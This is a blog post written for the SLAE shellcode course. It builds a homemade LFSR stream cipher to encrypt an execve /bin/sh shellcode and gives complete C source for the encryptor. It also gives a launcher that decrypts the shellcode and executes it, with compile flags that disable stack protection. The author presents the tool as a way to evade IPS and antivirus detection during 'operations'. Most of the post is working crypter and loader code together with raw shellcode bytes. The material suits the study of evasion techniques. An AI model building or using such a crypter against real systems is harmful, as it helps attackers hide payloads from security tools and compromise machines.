SLAE Assignment #7 Encrypt Your Shellcode


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202


Hi! This is a time to make the last assignment for the SLAE Course that is about shellcode encryption.

Well, encryption is a just another technique to bypass different security measures like IPS or AV. Just try to use meterpreter payload against AV-protected Linux system and you will get what I mean. Encryption is a nice solution, because changing encryption is much easier that changing payloads itself. Also, it allows you to implement different heuristic-bypass techniques in your encryptor, not in the shellcode itself.

The main goal of this assignment is to create your own cryptor based on existent or self-invented cypher. I selected the second way, because crypto is my greatest passion :D

I know that my algorithm is not so nice (and all self-written cryptography sucks), but I believe that it is enough to pass IPS and AV checks.

Ok, let me to introduce you in this topic.

M3g4L33T Cryp7o Pr0t0c01

I like stream ciphers with linear-feedback shift registers and I decided to implement such scheme inside my cryptor.

My LFSR has 32-bit length, each round it creates result byte to encrypt or decrypt our shellcode, shifts on 1 bit to left, generates new bit with simple linear function and pushes it to the end.

In two words, our program:

  1. Initializes LFSR with some IV and peform some ‘blank’ rounds to change its inner state (to prooduce less predictable bytes in future).
  2. Goes through our shellcode byte by byte and XOR them with values produced with LFSR.

In this scheme, XOR gives us one main advantage - we can use one ‘encryption’ function to encrypt and decrypt our shellcode if LFSR state is the same.

Here is the code that initializes LFSR and encrypts/decrypts the shellcode:

void transform(unsigned char* shellcode, uint32_t iv, uint8_t tacts)
{
    uint32_t shift_register = iv;
    uint8_t tacts_count = tacts;

    uint8_t tact = 0;    
    for(tact = 0; tact < tacts_count; tact++)
    {
        shift_register = shift_bits(shift_register);
    }

    int iter = 0;
    for(iter = 0; iter < strlen(shellcode); iter++) 
    {
        uint8_t result = get_result_byte(shift_register);        
        shellcode[iter] = shellcode[iter] ^ result;
        
        shift_register = shift_bits(shift_register);
    }
}

The ‘iv’ is just a 4-byte sequence that is loaded to register on the first step, and ‘tacts’ is a number of ‘blank’ rounds.

The ‘get_result_byte’ function returns a byte to be XORed with shellcode byte. I didn’t pay attention to this during the code writing, so, final byte depends only on four bytes in LFSR.

Here is the ‘get_result_byte’ definition:

uint8_t get_result_byte(uint32_t shift_register)
{
    uint8_t* a = &shift_register;
    uint8_t result = *a ^ *(a+1) ^ *(a+2) ^ *(a+3);
    
    return result;
} 

Another important thing to note is the ‘shift_bits’ function. If there is any strength in this cipher, it is in the ‘shift_bits’ function :D

The ‘shift_bits’ function generates the new bit to be pushed to the LFSR (with linear-feedback function), shifts the register and pushes this bit at the end of LFSR.

Linear-feedback function was my headache for this weekend. Here is the code:

uint32_t shift_bits(uint32_t shift_register) 
{
    uint32_t a1 = (shift_register >> 23) & 0x01;
    uint32_t a2 = (shift_register >> 22) & 0x01;
    uint32_t a3 = (shift_register >> 21) & 0x01;
    uint32_t a4 = (shift_register >> 16) & 0x01;
    uint32_t a5 = 0x01;

    uint32_t bit_to_push = (a1 + a2 + a3 + a4 + a5) & 0x01;

    shift_register = shift_register << 1;        
    shift_register = shift_register | bit_to_push;

    return shift_register;    
}

Ok, now I am ready to present you whole my encryptor code. Take care of your eyes :D

Encryptor

#include<stdint.h>
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80";

uint32_t iv = 0xDEADBEEF;
uint8_t tacts = 0x0f;

uint32_t shift_bits(uint32_t shift_register) 
{
    uint32_t a1 = (shift_register >> 23) & 0x01;
    uint32_t a2 = (shift_register >> 22) & 0x01;
    uint32_t a3 = (shift_register >> 21) & 0x01;
    uint32_t a4 = (shift_register >> 16) & 0x01;
    uint32_t a5 = 0x01;

    uint32_t bit_to_push = (a1 + a2 + a3 + a4 + a5) & 0x01;

    shift_register = shift_register << 1;        
    shift_register = shift_register | bit_to_push;

    return shift_register;    
}

uint8_t get_result_byte(uint32_t shift_register)
{
    uint8_t* a = &shift_register;
    uint8_t result = *a ^ *(a+1) ^ *(a+2) ^ *(a+3);
    
    return result;
} 

void transform(unsigned char* shellcode, uint32_t iv, uint8_t tacts)
{
    uint32_t shift_register = iv;
    uint8_t tacts_count = tacts;

    uint8_t tact = 0;    
    for(tact = 0; tact < tacts_count; tact++)
    {
        shift_register = shift_bits(shift_register);
    }

    int iter = 0;
    for(iter = 0; iter < strlen(shellcode); iter++) 
    {
        uint8_t result = get_result_byte(shift_register);        
        shellcode[iter] = shellcode[iter] ^ result;
        
        shift_register = shift_bits(shift_register);
    }
}

int main()
{
    printf("Shellcode Length: %d\n", strlen(shellcode));
    
    transform(shellcode, iv, tacts);

    int iter = 0;
    for(iter = 0; iter < strlen(shellcode); iter++) 
    {
        printf("\\x%02x", shellcode[iter]);
    }
    printf("\n");
    
    return 0;   
}

This code takes your shellcode, initialization vector and tacts count, and produces the encrypted version of your shellcode.

You can compile this code with gcc encryptor.c -o encryptor.

Also, “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80” is just an SYS_EXECVE shellcode that creates /bin/sh session for you. It is pretty nice shellcode for different tests.

Launcher

Just encrypted shellcode is not enough. We still need a code that will decrypt it and execute.

And I have it too!

#include<stdint.h>
#include<string.h>

unsigned char shellcode[] = 
"\x71\x41\x53\x6f\x20\x30\x4c\x17\x96\xd3\x9b\x9b\x8a\x40\x71\x14\x82\xa6\xfc\x6c\x4d\xc7\xe4\x13\x3d";

uint32_t iv = 0xDEADBEEF;
uint8_t tacts = 0x0F;


uint32_t shift_bits(uint32_t shift_register) 
{
    uint32_t a1 = (shift_register >> 23) & 0x01;
    uint32_t a2 = (shift_register >> 22) & 0x01;
    uint32_t a3 = (shift_register >> 21) & 0x01;
    uint32_t a4 = (shift_register >> 16) & 0x01;
    uint32_t a5 = 0x01;

    uint32_t bit_to_push = (a1 + a2 + a3 + a4 + a5) & 0x01;

    shift_register = shift_register << 1;        
    shift_register = shift_register | bit_to_push;

    return shift_register;    
}

uint8_t get_result_byte(uint32_t shift_register)
{
    uint8_t* a = &shift_register;
    uint8_t result = *a ^ *(a+1) ^ *(a+2) ^ *(a+3);
    
    return result;
} 

void transform(unsigned char* shellcode, uint32_t iv, uint8_t tacts)
{
    uint32_t shift_register = iv;
    uint8_t tacts_count = tacts;

    uint8_t tact = 0;    
    for(tact = 0; tact < tacts_count; tact++)
    {
        shift_register = shift_bits(shift_register);
    }

    int iter = 0;
    int shellcode_length = strlen(shellcode);
    for(iter = 0; iter < shellcode_length; iter++) 
    {
        uint8_t result = get_result_byte(shift_register);        
        shellcode[iter] = shellcode[iter] ^ result;
        
        shift_register = shift_bits(shift_register);
    }
}

int main()
{
    transform(shellcode, 0xDEADBEEF, 0x0F);

    int (*ret)() = (int(*)())shellcode;
    ret();
 
    return 0;   
}

There is just the same encryption/decryption part as in ‘ecnryptor’, but there is another part that executes our decrypted shellcode. That is why you should compile it without stack protectors and other stuff: gcc -fno-stack-protector -z execstack launcher.c -o launcher.

Conclusion

Encryptions is a great technique. There are not so much encryptors available as open-source projects (and those that are open-source, are visible for IPS/AV too), so, you need to know this technique to conduct your operations safely.

I still have a great lack of knowledge in ELF structure, but I think that there I can write single encryptor script without regular comppiling procedures. I hope that I will have enough time to do so and place in my ‘hacks’ folder of my GitHub repo.

The end

comments powered by Disqus